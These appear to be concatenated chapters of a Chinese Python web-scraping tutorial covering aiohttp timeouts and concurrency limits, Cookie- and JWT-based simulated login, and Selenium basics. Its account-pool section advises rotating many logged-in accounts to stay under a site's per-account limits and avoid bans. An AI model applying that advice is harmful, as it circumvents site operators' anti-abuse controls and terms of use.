对于超时设置,我们可以借助 ClientTimeout 对象,比如这里要设置 1 秒的超时,可以这么实现:

1
2
3
4
5
6
7
8
9
10
11
import aiohttp
import asyncio

async def main():
timeout = aiohttp.ClientTimeout(total=1)
async with aiohttp.ClientSession(timeout=timeout) as session:
async with session.get('https://httpbin.org/get') as response:
print('status:', response.status)

if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

如果在 1 秒之内成功获取响应的话,运行结果如下:

1
200

如果超时的话,会抛出 TimeoutError 异常,其类型为 asyncio.TimeoutError,我们再进行异常捕获即可。

另外,声明 ClientTimeout 对象时还有其他参数,如 connectsocket_connect 等,详细可以参考官方文档:https://docs.aiohttp.org/en/stable/client_quickstart.html#timeouts。

8. 并发限制

由于 aiohttp 可以支持非常大的并发,比如上万、十万、百万都是能做到的,但对于这么大的并发量,目标网站很可能在短时间内无法响应,而且很可能瞬时间将目标网站爬挂掉,所以我们需要控制一下爬取的并发量。

一般情况下,我们可以借助于 asyncio 的 Semaphore 来控制并发量,示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import asyncio
import aiohttp

CONCURRENCY = 5
URL = 'https://www.baidu.com'

semaphore = asyncio.Semaphore(CONCURRENCY)
session = None

async def scrape_api():
async with semaphore:
print('scraping', URL)
async with session.get(URL) as response:
await asyncio.sleep(1)
return await response.text()

async def main():
global session
session = aiohttp.ClientSession()
scrape_index_tasks = [asyncio.ensure_future(scrape_api()) for _ in range(10000)]
await asyncio.gather(*scrape_index_tasks)


if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

这里我们声明了 CONCURRENCY(代表爬取的最大并发量)为 5,同时声明爬取的目标 URL 为百度。接着,我们借助于 Semaphore 创建了一个信号量对象,将其赋值为 semaphore,这样我们就可以用它来控制最大并发量了。怎么使用呢?这里我们把它直接放置在对应的爬取方法里面,使用 async with 语句将 semaphore 作为上下文对象即可。这样的话,信号量可以控制进入爬取的最大协程数量,即我们声明的 CONCURRENCY 的值。

main 方法里面,我们声明了 10000 个 task,将其传递给 gather 方法运行。倘若不加以限制,这 10000 个 task 会被同时执行,并发数量太大。但有了信号量的控制之后,同时运行的 task 的数量最大会被控制在 5 个,这样就能给 aiohttp 限制速度了。

9. 总结

本节我们了解了 aiohttp 的基本使用方法,更详细的内容还是推荐大家到官方文档查阅,详见 https://docs.aiohttp.org/。

本节代码:https://github.com/Python3WebSpider/AsyncTest。

Python

爬虫系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

很多情况下,一些网站的页面或资源我们通常需要登录才能看到。比如说访问 GitHub 的个人设置页面,如果不登录是无法查看的;比如说 12306 买票提交订单的页面,如果不登录是无法提交订单的;比如说要发一条微博,如果不登录是无法发送的。

我们之前学习的案例都是爬取的无需登录即可访问的站点,但是诸如上面例子的情况非常非常多,那假如我们想要用爬虫来访问这些页面,比如用爬虫修改 GitHub 的个人设置,用爬虫提交购票订单,用爬虫发微博,能做到吗?

答案是可以,这里就需要用到一些模拟登录相关的技术了。

那么本节我们就先来了解一下模拟登录的一些基本原理和实现吧。

1. 网站登录验证的实现

我们要实现模拟登录,那就得首先了解网站登录验证的实现。

登录一般是需要两个内容,用户名和密码,有的网站可能是手机号和验证码,有的是微信扫码,有的是 OAuth 验证等等,但根本上来说,都是把一些可供认证的信息提交给了服务器。

比如这里我们就拿用户名和密码来说吧。用户在一个网页表单里面输入了这些内容,然后点击登录按钮的一瞬间,浏览器客户端就会向服务器发送一个登录请求,这个请求里面肯定就包含了用户名和密码信息,这时候,服务器需要处理一下这些信息,然后返回给客户端一个类似「凭证」的东西,有了这个「凭证」以后呢,客户端拿着这个「凭证」再去访问某些需要登录才能查看的页面,服务器自然就能”放行“了,返回对应的内容或执行对应的操作就好了。

形象点说呢,我们拿登录发微博和买票坐火车这两件事来类比。发微博就好像要坐火车,没票是没法坐火车的吧,要坐火车怎么办呢?当然是先买票了,我们拿钱去火车站买个票,有了票之后,进站口查验一下,没问题就自然能去坐火车了,这个票就是坐火车的「凭证」。那发微博也一样,我们有用户名和密码,请求下服务器,获得一个「凭证」,这就相当于买到了火车票,然后在发微博的时候拿着这个「凭证」去请求服务器,服务器校验没问题,自然就把微博发出去了。

那么问题来了,这个「凭证」到底是怎么生成和验证的呢?目前比较流行的实现方式有两种,一种是基于 Session + Cookie 的验证,一种是基于 JWT(JSON Web Token)的验证,下面我们来介绍下。

我们在第一章了解了 Session 和 Cookie 的基本概念。简而言之呢,Session 就是存在服务端的,里面保存了用户此次访问的会话信息,Cookie 则是保存在用户本地浏览器的,它会在每次用户访问网站的时候发送给服务器,Cookie 会作为 Request Headers 的一部分发送给服务器,服务器根据 Cookie 里面包含的信息判断找出其 Session 对象并做一些校验,不同的 Session 对象里面维持了不同访问用户的状态,服务器可以根据这些信息决定返回 Response 的内容。

我们以用户登录的情形来说吧,其实不同的网站对于用户的登录状态的实现是可能不同的,但是 Session 和 Cookie 一定是相互配合工作的。

下面梳理如下:

  • 比如说,Cookie 里面可能只存了 Session ID 相关信息,服务器能根据 Cookie 找到对应的 Session,用户登录之后,服务器会把对应的 Session 里面标记一个字段,代表已登录状态或者其他信息(如角色、登录时间)等等,这样用户每次访问网站的时候都带着 Cookie 来访问,服务器就能找到对应的 Session,然后看一下 Session 里面的状态是登录状态,那就可以返回对应的结果或执行某些操作。
  • 当然 Cookie 里面也可能直接存了某些凭证信息。比如说用户在发起登录请求之后,服务器校验通过,返回给客户端的 Response Headers 里面可能带有 Set-Cookie 字段,里面可能就包含了类似凭证的信息,这样客户端会执行设置 Cookie 的操作,将这些信息保存到 Cookie 里面,以后再访问网页时携带这些 Cookie 信息,服务器拿着这里面的信息校验,自然也能实现登录状态检测了。

以上两种情况几乎能涵盖大部分的 Session 和 Cookie 登录验证的实现,具体的实现逻辑因服务器而异,但 Session 和 Cookie 一定是需要相互配合才能实现的。

3. JWT

Web 开发技术是一直在发展的,近几年前后端分离的趋势越来越火,很多 Web 网站都采取了前后端分离的技术来实现。而且传统的基于 Session 和 Cookie 的校验也存在一定问题,比如服务器需要维护登录用户的 Session 信息,而且分布式部署不方便,也不太适合前后端分离的项目。

所以,JWT 技术应运而生。

JWT,英文全称为 JSON Web Token,是为了在网络应用环境间传递声明而执行的一种基于 JSON 的开放标准。实际上就是在每次登录的时候通过一个 Token 字符串来校验登录状态。JWT 的声明一般被用来在身份提供者和服务提供者之间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的业务逻辑所必须的声明信息,所以这个 Token 也可直接被用于认证,也可传递一些额外信息。

有了 JWT,一些认证就不需要借助于 Session 和 Cookie 了,服务器也无须维护 Session 信息,减少了服务器的开销。服务器只需要有一个校验 JWT 的功能就好了,同时也可以做到分布式部署和跨语言的支持。

JWT 通常就是一个加密的字符串,它也有自己的标准,类似下面的这种格式:

1
eyJ0eXAxIjoiMTIzNCIsImFsZzIiOiJhZG1pbiIsInR5cCI6IkpXVCIsImFsZyI6IkhTMjU2In0.eyJVc2VySWQiOjEyMywiVXNlck5hbWUiOiJhZG1pbiIsImV4cCI6MTU1MjI4Njc0Ni44Nzc0MDE4fQ.pEgdmFAy73walFonEm2zbxg46Oth3dlT02HR9iVzXa8

我们可以发现中间有两个用来分割的 . ,因此可以把它看成是一个三段式的加密字符串。

它由三部分构成,分别是 Header、Payload、Signature。

  • Header,声明了 JWT 的签名算法,如 RSA、SHA256 等,也可能包含 JWT 编号或类型等数据,然后对整个信息进行 Base64 编码即可。
  • Payload,通常用来存放一些业务需要但不敏感的信息,如 UserID 等,另外它也有很多默认是字段,如 JWT 签发者、JWT 接受者、JWT 过期时间等,Base64 编码即可。
  • Signature,就是一个签名,是把 Header、Payload 的信息用秘钥 secret 加密后形成的,这个 secret 是保存在服务器端的,不能被轻易泄露。如此一来,即使一些 Payload 的信息被篡改,服务器也能通过 Signature 判断出非法请求,拒绝服务。

这三部分通过 . 组合起来就形成了 JWT 的字符串,就是用户的访问凭证。

所以这个登录认证流程也很简单了,用户拿着用户名密码登录,然后服务器生成 JWT 字符串返回给客户端。客户端每次请求都带着这个 JWT 就行了,服务器会自动判断其有效情况,如果有效,自然就返回对应的数据。JWT 的传输就多种多样了,可以将其放在 Request Headers 中,也可以放在 URL 里,甚至也有的网站把它放在 Cookie 里面,但总而言之,能传给服务器进行校验就好了。

好,到此为止呢,我们就已经了解了网站登录验证的实现了。

4. 模拟登录

好,那了解了网站登录验证的实现后,模拟登录自然就有思路了。

下面我们同样分两种认证方式来说明。

基于 Session 和 Cookie 的模拟登录,如果我们要用爬虫实现的话,其实最主要的就是把 Cookie 的信息维护好就行了,因为爬虫就相当于客户端浏览器,我们模拟好浏览器做的事情就好了。

一般怎么实现模拟登录呢?接下来我们结合之前所讲的技术总结一下。

  • 第一,如果我们已经在浏览器中登录了自己的账号,要想用爬虫模拟,那么可以直接把 Cookie 复制过来交给爬虫。这是最省时省力的方式,相当于我们用浏览器手动操作登录了。我们把 Cookie 放到代码里,爬虫每次请求的时候再将其放到 Request Headers 中,完全模拟了浏览器的操作。之后服务器会通过 Cookie 校验登录状态,如果没问题,自然就可以执行某些操作或返回某些内容了。
  • 第二,如果我们不想有任何手工操作,那么可以直接使用爬虫模拟登录过程。其实登录的过程多数也是一个 POST 请求。我们用爬虫提交了用户名、密码等信息给服务器,服务器返回的 Response Headers 里面可能会带有 Set-Cookie 的字段,我们只需要把这些 Cookie 保存下来就行了。所以,最主要的就是把这个过程中的 Cookie 维持好。当然这里可能会遇到一些困难,比如登录过程中伴随着各种校验参数,不好直接模拟请求;网站设置 Cookie 的过程是通过 JavaScript 实现的,所以可能还得仔细分析下其中的逻辑,尤其是我们用 requests 这样的请求库进行模拟登录的时候,遇到的问题经常比较多。
  • 第三,我们也可以用一些简单的方式来实现模拟登录,即实现登录过程的自动化。比如我们用 Selenium、Pyppeteer 或 Playwright 来驱动浏览器模拟执行一些操作,如填写用户名和密码、提交表单等。登录成功后,通过 Selenium 或 Pyppeteer 获取当前浏览器的 Cookie 并保存即可。这样后续就可以拿着 Cookie 的内容发起请求,同样也能实现模拟登录。

以上介绍的就是一些常用的爬虫模拟登录的方案,其目的是维护好客户端的 Cookie 信息。总之,每次请求都携带好 Cookie 信息就能实现模拟登录了。

JWT

基于 JWT 的模拟登录思路也比较清晰了,由于 JWT 的字符串就是用户访问的凭证,所以模拟登录只需要做到下面几步。

  • 第一步,模拟网站登录操作的请求。比如拿着用户名和密码信息请求登录接口,获取服务器返回的结果,这个结果中通常包含 JWT 字符串的信息,将它保存即可。
  • 第二步,后续的请求携带 JWT 进行访问。在 JWT 不过期的情况下,通常能正常访问和执行对应的操作。携带方式多种多样,因网站而异。
  • 第三步,如果 JWT 过期了,可能需要再次进行第一步,重新获取 JWT。

当然,模拟登录的过程肯定会带有一些其他的加密参数,需要根据实际情况具体分析。

4. 账号池

如果爬虫要求爬取的数据量比较大或爬取速度比较快,而网站又有单账号并发限制或者访问状态检测等反爬虫手段,那么我们的账号可能就会无法访问或者面临封号的风险了。

这时候一般怎么办呢?

我们可以使用分流的方案来实现。假设某个网站设置一分钟之内检测到同一个账号访问 3 次或 3 次以上则封号,我们就可以建立一个账号池,用多个账号来随机访问或爬取数据,这样就能大幅提高爬虫的并发量,降低被封号的风险了。比如我们可以准备 100 个账号,然后 100 个账号都模拟登录,把对应的 Cookie 或 JWT 存下来,每次访问的时候随机取一个来,由于账号多,所以每个账号被取用的概率也就降下来了,这样就能避免单账号并发过大的问题,也降低封号风险。

5. 总结

本节我们首先了解了 Session + Cookie 和 JWT 模拟登录的原理,接着初步了解了两种模拟登录方式的实现思路,最后初步介绍了一下账号池的作用。

后文我们会通过几个实战案例来实现上述两种方案的模拟登录,为了更好地理解后文的实战内容,建议好好理解本节所介绍的内容。

Python

爬虫系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

前面我们讲解了 Ajax 的分析方法,利用 Ajax 接口我们可以非常方便地完成数据爬取。只要我们能找到 Ajax 接口的规律,就可以通过某些参数构造出对应的请求,数据自然就能轻松爬取到。

但是在很多情况下,一些 Ajax 请求的接口通常会包含加密参数,如tokensign 等,如:https://spa2.scrape.center/,它的 Ajax 接口是包含一个 token 参数的,如图所示。

包含 `token` 参数的 Ajax 接口

由于请求接口时必须加上 token 参数,所以我们如果不深入分析找到 token 的构造逻辑,是难以直接模拟这些 Ajax 请求的。

此时解决方法通常有两种:一种就是深挖其中的逻辑,把其中 token 的构造逻辑完全找出来,再用 Python 复现,构造 Ajax 请求;另外一种方法就是直接通过模拟浏览器的方式来绕过这个过程,因为在浏览器里我们可以看到这个数据,如果能把看到的数据直接爬取下来,当然也就能获取对应的信息了。

由于第一种方法难度较高,这里我们就先介绍第二种方法:模拟浏览器爬取。

这里使用的工具为 Selenium,这里就来先了解一下 Selenium 的基本使用方法。

Selenium 是一个自动化测试工具,利用它可以驱动浏览器执行特定的动作,如点击、下拉等操作,同时还可以获取浏览器当前呈现的页面的源代码,做到可见即可爬。对于一些 JavaScript 动态渲染的页面来说,此种抓取方式非常有效。本节中,就让我们来感受一下它的强大之处吧。

1. 准备工作

本节以 Chrome 为例来讲解 Selenium 的用法。在开始之前,请确保已经正确安装好了 Chrome 浏览器并配置好了 ChromeDriver。另外,还需要正确安装好 Python 的 Selenium 库。

安装方法可以参考:https://setup.scrape.center/selenium,全部配置完成之后,我们便可以开始本节的学习了。

2. 基本用法

准备工作做好之后,首先来大体看一下 Selenium 的功能。示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.wait import WebDriverWait

browser = webdriver.Chrome()
try:
browser.get('https://www.baidu.com')
input = browser.find_element_by_id('kw')
input.send_keys('Python')
input.send_keys(Keys.ENTER)
wait = WebDriverWait(browser, 10)
wait.until(EC.presence_of_element_located((By.ID, 'content_left')))
print(browser.current_url)
print(browser.get_cookies())
print(browser.page_source)
finally:
browser.close()

运行代码后发现,会自动弹出一个 Chrome 浏览器。浏览器首先会跳转到百度,然后在搜索框中输入 Python,接着跳转到搜索结果页,如图所示。

此时在控制台的输出结果如下:

1
2
3
https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=0&rsv_idx=1&tn=baidu&wd=Python&rsv_pq=c94d0df9000a72d0&rsv_t=07099xvun1ZmC0bf6eQvygJ43IUTTUOl5FCJVPgwG2YREs70GplJjH2F%2BCQ&rqlang=cn&rsv_enter=1&rsv_sug3=6&rsv_sug2=0&inputT=87&rsv_sug4=87
[{'secure': False, 'value': 'B490B5EBF6F3CD402E515D22BCDA1598', 'domain': '.baidu.com', 'path': '/', 'httpOnly': False, 'name': 'BDORZ', 'expiry': 1491688071.707553}, {'secure': False, 'value': '22473_1441_21084_17001', 'domain': '.baidu.com', 'path': '/', 'httpOnly': False, 'name': 'H_PS_PSSID'}, {'secure': False, 'value': '12883875381399993259_00_0_I_R_2_0303_C02F_N_I_I_0', 'domain': '.www.baidu.com', 'path': '/', 'httpOnly': False, 'name': '__bsi', 'expiry': 1491601676.69722}]
<!DOCTYPE html><!--STATUS OK-->...</html>

源代码过长,在此省略。可以看到,我们得到的当前 URL、Cookies 和源代码都是浏览器中的真实内容。

所以说,如果用 Selenium 来驱动浏览器加载网页的话,就可以直接拿到 JavaScript 渲染的结果了,不用担心使用的是什么加密系统。

下面来详细了解一下 Selenium 的用法。

3. 声明浏览器对象

Selenium 支持非常多的浏览器,如 Chrome、Firefox、Edge 等,还有 Android、BlackBerry 等手机端的浏览器。我们可以用如下方式初始化:

1
2
3
4
5
6
from selenium import webdriver

browser = webdriver.Chrome()
browser = webdriver.Firefox()
browser = webdriver.Edge()
browser = webdriver.Safari()

这样就完成了浏览器对象的初始化并将其赋值为 browser 对象。接下来,我们要做的就是调用 browser 对象,让其执行各个动作以模拟浏览器操作。

4. 访问页面

我们可以用 get 方法来请求网页,其参数传入链接 URL 即可。比如,这里用 get 方法访问淘宝,然后打印出源代码,代码如下:

1
2
3
4
5
6
from selenium import webdriver

browser = webdriver.Chrome()
browser.get('https://www.taobao.com')
print(browser.page_source)
browser.close()

运行后发现,此时弹出了 Chrome 浏览器并且自动访问了淘宝,然后控制台输出了淘宝页面的源代码,随后浏览器关闭。

通过这几行简单的代码,我们可以实现浏览器的驱动并获取网页源码,非常便捷。

5. 查找节点

Selenium 可以驱动浏览器完成各种操作,比如填充表单、模拟点击等。比如,我们想要完成向某个输入框输入文字的操作,总需要知道这个输入框在哪里吧?而 Selenium 提供了一系列查找节点的方法,我们可以用这些方法来获取想要的节点,以便下一步执行一些动作或者提取信息。

单个节点

比如,想要从淘宝页面中提取搜索框这个节点,首先要观察它的源代码,如图所示。

源代码

可以发现,它的 idqname 也是 q。此外,还有许多其他属性,此时我们就可以用多种方式获取它了。比如,find_element_by_name 是根据 name 值获取,find_element_by_id 是根据 id 获取。另外,还有根据 XPath、CSS 选择器等获取的方式。

下面我们用代码实现一下:

1
2
3
4
5
6
7
8
9
from selenium import webdriver

browser = webdriver.Chrome()
browser.get('https://www.taobao.com')
input_first = browser.find_element_by_id('q')
input_second = browser.find_element_by_css_selector('#q')
input_third = browser.find_element_by_xpath('//*[@id="q"]')
print(input_first, input_second, input_third)
browser.close()

这里我们使用 3 种方式获取输入框,分别是根据 ID、CSS 选择器和 XPath 获取,它们返回的结果完全一致。运行结果如下:

1
2
3
<selenium.webdriver.remote.webelement.WebElement (session="5e53d9e1c8646e44c14c1c2880d424af", element="0.5649563096161541-1")>
<selenium.webdriver.remote.webelement.WebElement (session="5e53d9e1c8646e44c14c1c2880d424af", element="0.5649563096161541-1")>
<selenium.webdriver.remote.webelement.WebElement (session="5e53d9e1c8646e44c14c1c2880d424af", element="0.5649563096161541-1")>

可以看到,这 3 个节点都是 WebElement 类型,是完全一致的。

下面列出所有获取单个节点的方法:

1
2
3
4
5
6
7
8
find_element_by_id
find_element_by_name
find_element_by_xpath
find_element_by_link_text
find_element_by_partial_link_text
find_element_by_tag_name
find_element_by_class_name
find_element_by_css_selector

另外,Selenium 还提供了通用方法 find_element,它需要传入两个参数:查找方式 By 和值。实际上,它就是 find_element_by_id 这种方法的通用函数版本,比如 find_element_by_id(id) 就等价于 find_element(By.ID, id),二者得到的结果完全一致。我们用代码实现一下:

1
2
3
4
5
6
7
8
from selenium import webdriver
from selenium.webdriver.common.by import By

browser = webdriver.Chrome()
browser.get('https://www.taobao.com')
input_first = browser.find_element(By.ID, 'q')
print(input_first)
browser.close()

实际上,这种查找方式的功能和上面列举的查找函数完全一致,不过参数更加灵活。

多个节点

如果查找的目标在网页中只有一个,那么完全可以用 find_element 方法。但如果有多个节点,再用 find_element 方法查找,就只能得到第一个节点了。如果要查找所有满足条件的节点,需要用 find_elements 这样的方法。注意,在这个方法的名称中,element 多了一个 s,注意区分。

比如,要查找淘宝左侧导航条的所有条目,就可以这样来实现:

1
2
3
4
5
6
7
from selenium import webdriver

browser = webdriver.Chrome()
browser.get('https://www.taobao.com')
lis = browser.find_elements_by_css_selector('.service-bd li')
print(lis)
browser.close()

运行结果如下:

1
[<selenium.webdriver.remote.webelement.WebElement (session="c26290835d4457ebf7d96bfab3740d19", element="0.09221044033125603-1")>, <selenium.webdriver.remote.webelement.WebElement (session="c26290835d4457ebf7d96bfab3740d19", element="0.09221044033125603-2")>, <selenium.webdriver.remote.webelement.WebElement (session="c26290835d4457ebf7d96bfab3740d19", element="0.09221044033125603-3")>...<selenium.webdriver.remote.webelement.WebElement (session="c26290835d4457ebf7d96bfab3740d19", element="0.09221044033125603-16")>]

这里简化了输出结果,中间部分省略。

可以看到,得到的内容变成了列表类型,列表中的每个节点都是 WebElement 类型。

也就是说,如果我们用 find_element 方法,只能获取匹配的第一个节点,结果是 WebElement 类型。如果用 find_elements 方法,则结果是列表类型,列表中的每个节点都是 WebElement 类型。

这里列出所有获取多个节点的方法:

1
2
3
4
5
6
7
8
find_elements_by_id
find_elements_by_name
find_elements_by_xpath
find_elements_by_link_text
find_elements_by_partial_link_text
find_elements_by_tag_name
find_elements_by_class_name
find_elements_by_css_selector

当然,我们也可以直接用 find_elements 方法来选择,这时可以这样写:

1
lis = browser.find_elements(By.CSS_SELECTOR, '.service-bd li')

结果是完全一致的。

6. 节点交互

Selenium 可以驱动浏览器来执行一些操作,也就是说可以让浏览器模拟执行一些动作。比较常见的用法有:输入文字时用 send_keys 方法,清空文字时用 clear 方法,点击按钮时用 click 方法。示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
from selenium import webdriver
import time

browser = webdriver.Chrome()
browser.get('https://www.taobao.com')
input = browser.find_element_by_id('q')
input.send_keys('iPhone')
time.sleep(1)
input.clear()
input.send_keys('iPad')
button = browser.find_element_by_class_name('btn-search')
button.click()

这里首先驱动浏览器打开淘宝,然后用 find_element_by_id 方法获取输入框,然后用 send_keys 方法输入 iPhone 文字,等待一秒后用 clear 方法清空输入框,再次调用 send_keys 方法输入 iPad 文字,之后再用 find_element_by_class_name 方法获取搜索按钮,最后调用 click 方法完成搜索动作。

通过上面的方法,我们完成了一些常见节点的操作,更多的操作可以参见官方文档的交互动作介绍 :http://selenium-python.readthedocs.io/api.html#module-selenium.webdriver.remote.webelement。

7. 动作链

在上面的实例中,一些交互动作都是针对某个节点执行的。比如,对于输入框,我们就调用它的输入文字和清空文字方法;对于按钮,就调用它的点击方法。其实,还有另外一些操作,它们没有特定的执行对象,比如鼠标拖曳、键盘按键等,这些动作用另一种方式来执行,那就是动作链。

比如,现在实现一个节点的拖曳操作,将某个节点从一处拖曳到另外一处,可以这样实现:

1
2
3
4
5
6
7
8
9
10
11
12
from selenium import webdriver
from selenium.webdriver import ActionChains

browser = webdriver.Chrome()
url = 'http://www.runoob.com/try/try.php?filename=jqueryui-api-droppable'
browser.get(url)
browser.switch_to.frame('iframeResult')
source = browser.find_element_by_css_selector('#draggable')
target = browser.find_element_by_css_selector('#droppable')
actions = ActionChains(browser)
actions.drag_and_drop(source, target)
actions.perform()

首先,打开网页中的一个拖曳实例,然后依次选中要拖曳的节点和拖曳到的目标节点,接着声明 ActionChains 对象并将其赋值为 actions 变量,然后通过调用 actions 变量的 drag_and_drop 方法,再调用 perform 方法执行动作,此时就完成了拖曳操作,如图所示。

拖曳前页面

拖曳后页面

更多的动作链操作可以参考官方文档的动作链介绍:http://selenium-python.readthedocs.io/api.html#module-selenium.webdriver.common.action_chains。

8. 执行 JavaScript

对于某些操作,Selenium API 并没有提供。比如,下拉进度条,它可以直接模拟运行 JavaScript,此时使用 execute_script 方法即可实现,代码如下:

1
2
3
4
5
6
from selenium import webdriver

browser = webdriver.Chrome()
browser.get('https://www.zhihu.com/explore')
browser.execute_script('window.scrollTo(0, document.body.scrollHeight)')
browser.execute_script('alert("To Bottom")')

这里就利用 execute_script 方法将进度条下拉到最底部,然后弹出 alert 提示框。

所以说有了这个方法,基本上 API 没有提供的所有功能都可以用执行 JavaScript 的方式来实现了。

9. 获取节点信息

前面说过,通过 page_source 属性可以获取网页的源代码,接着就可以使用解析库(如正则表达式、Beautiful Soup、pyquery 等)来提取信息了。

不过,既然 Selenium 已经提供了选择节点的方法,返回的是 WebElement 类型,那么它也有相关的方法和属性来直接提取节点信息,如属性、文本等。这样的话,我们就可以不用通过解析源代码来提取信息了,非常方便。

接下来,我们就来看看怎样获取节点信息吧。

获取属性

我们可以使用 get_attribute 方法来获取节点的属性,但是其前提是先选中这个节点,示例如下:

1
2
3
4
5
6
7
8
from selenium import webdriver

browser = webdriver.Chrome()
url = 'https://spa2.scrape.center/'
browser.get(url)
logo = browser.find_element_by_class_name('logo-image')
print(logo)
print(logo.get_attribute('src'))

运行之后,程序便会驱动浏览器打开该页面,然后获取 classlogo-image 的节点,最后打印出它的 src

控制台的输出结果如下:

1
2
<selenium.webdriver.remote.webelement.WebElement (session="7f4745d35a104759239b53f68a6f27d0", element="cd7c72b4-4920-47ed-91c5-ea06601dc509")>
https://spa2.scrape.center/img/logo.a508a8f0.png

通过 get_attribute 方法,然后传入想要获取的属性名,就可以得到它的值了。

获取文本值

每个 WebElement 节点都有 text 属性,直接调用这个属性就可以得到节点内部的文本信息,这相当于 pyquery 的 text 方法,示例如下:

1
2
3
4
5
6
7
from selenium import webdriver

browser = webdriver.Chrome()
url = 'https://spa2.scrape.center/'
browser.get(url)
input = browser.find_element_by_class_name('logo-title')
print(input.text)

这里依然先打开页面,然后获取 classlogo-title 这个节点,再将其文本值打印出来。

控制台的输出结果如下:

1
Scrape

获取 ID、位置、标签名和大小

另外,WebElement 节点还有一些其他属性,比如 id 属性可以获取节点 ID,location 属性可以获取该节点在页面中的相对位置,tag_name 属性可以获取标签名称,size 属性可以获取节点的大小,也就是宽高,这些属性有时候还是很有用的。示例如下:

1
2
3
4
5
6
7
8
9
10
from selenium import webdriver

browser = webdriver.Chrome()
url = 'https://spa2.scrape.center/'
browser.get(url)
input = browser.find_element_by_class_name('logo-title')
print(input.id)
print(input.location)
print(input.tag_name)
print(input.size)

这里首先获得 classlogo-title 这个节点,然后调用其 idlocationtag_namesize 属性来获取对应的属性值。

10. 切换 Frame

我们知道网页中有一种节点叫作 iframe,也就是子 Frame,相当于页面的子页面,它的结构和外部网页的结构完全一致。Selenium 打开页面后,它默认是在父级 Frame 里面操作,而此时如果页面中还有子 Frame,它是不能获取到子 Frame 里面的节点的。这时就需要使用 switch_to.frame 方法来切换 Frame。示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import time
from selenium import webdriver
from selenium.common.exceptions import NoSuchElementException

browser = webdriver.Chrome()
url = 'http://www.runoob.com/try/try.php?filename=jqueryui-api-droppable'
browser.get(url)
browser.switch_to.frame('iframeResult')
try:
logo = browser.find_element_by_class_name('logo')
except NoSuchElementException:
print('NO LOGO')
browser.switch_to.parent_frame()
logo = browser.find_element_by_class_name('logo')
print(logo)
print(logo.text)

控制台输出结果如下:

1
2
3
NO LOGO
<selenium.webdriver.remote.webelement.WebElement (session="4bb8ac03ced4ecbdefef03ffdc0e4ccd", element="0.13792611320464965-2")>
RUNOOB.COM

这里还是以前面演示动作链操作的网页为实例,首先通过 switch_to.frame 方法切换到子 Frame 里面,然后尝试获取子 Frame 里的 logo 节点(这是找不到的),如果找不到的话,就会抛出 NoSuchElementException 异常,异常被捕捉之后,就会输出 NO LOGO。接下来,重新切换回父级 Frame,然后再次重新获取节点,发现此时可以成功获取了。

所以,当页面中包含子 Frame 时,如果想获取子 Frame 中的节点,需要先调用 switch_to.frame 方法切换到对应的 Frame,然后再进行操作。

11. 延时等待

在 Selenium 中,get 方法会在网页框架加载结束后结束执行,此时如果获取 page_source,可能并不是浏览器完全加载完成的页面,如果某些页面有额外的 Ajax 请求,我们在网页源代码中也不一定能成功获取到。所以,这里需要延时等待一定时间,确保节点已经加载出来。

这里等待方式有两种:一种是隐式等待,一种是显式等待。

隐式等待

当使用隐式等待执行测试的时候,如果 Selenium 没有在 DOM 中找到节点,将继续等待,超出设定时间后,则抛出找不到节点的异常。换句话说,当查找节点而节点并没有立即出现的时候,隐式等待将等待一段时间再查找 DOM,默认的时间是 0。示例如下:

1
2
3
4
5
6
7
from selenium import webdriver

browser = webdriver.Chrome()
browser.implicitly_wait(10)
browser.get('https://spa2.scrape.center/')
input = browser.find_element_by_class_name('logo-image')
print(input)

这里我们用 implicitly_wait 方法实现了隐式等待。

显式等待

隐式等待的效果其实并没有那么好,因为我们只规定了一个固定时间,而页面的加载时间会受到网络条件的影响。

这里还有一种更合适的显式等待方法,它指定要查找的节点,然后指定一个最长等待时间。如果在规定时间内加载出来了这个节点,就返回查找的节点;如果到了规定时间依然没有加载出该节点,则抛出超时异常。示例如下:

1
2
3
4
5
6
7
8
9
10
11
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC

browser = webdriver.Chrome()
browser.get('https://www.taobao.com/')
wait = WebDriverWait(browser, 10)
input = wait.until(EC.presence_of_element_located((By.ID, 'q')))
button = wait.until(EC.element_to_be_clickable((By.CSS_SELECTOR, '.btn-search')))
print(input, button)

这里首先引入 WebDriverWait 这个对象,指定最长等待时间,然后调用它的 until 方法,传入等待条件 expected_conditions。比如,这里传入了 presence_of_element_located 这个条件,代表节点出现的意思,其参数是节点的定位元组,也就是 ID 为 q 的节点搜索框。

这样可以做到的效果就是,在 10 秒内如果 ID 为 q 的节点(即搜索框)成功加载出来,就返回该节点;如果超过 10 秒还没有加载出来,就抛出异常。

对于按钮,可以更改一下等待条件,比如改为 element_to_be_clickable,也就是可点击,所以查找按钮时查找 CSS 选择器为 .btn-search 的按钮,如果 10 秒内它是可点击的,也就是成功加载出来了,就返回这个按钮节点;如果超过 10 秒还不可点击,也就是没有加载出来,就抛出异常。

运行代码,在网速较佳的情况下是可以成功加载出来的。

控制台的输出如下:

1
2
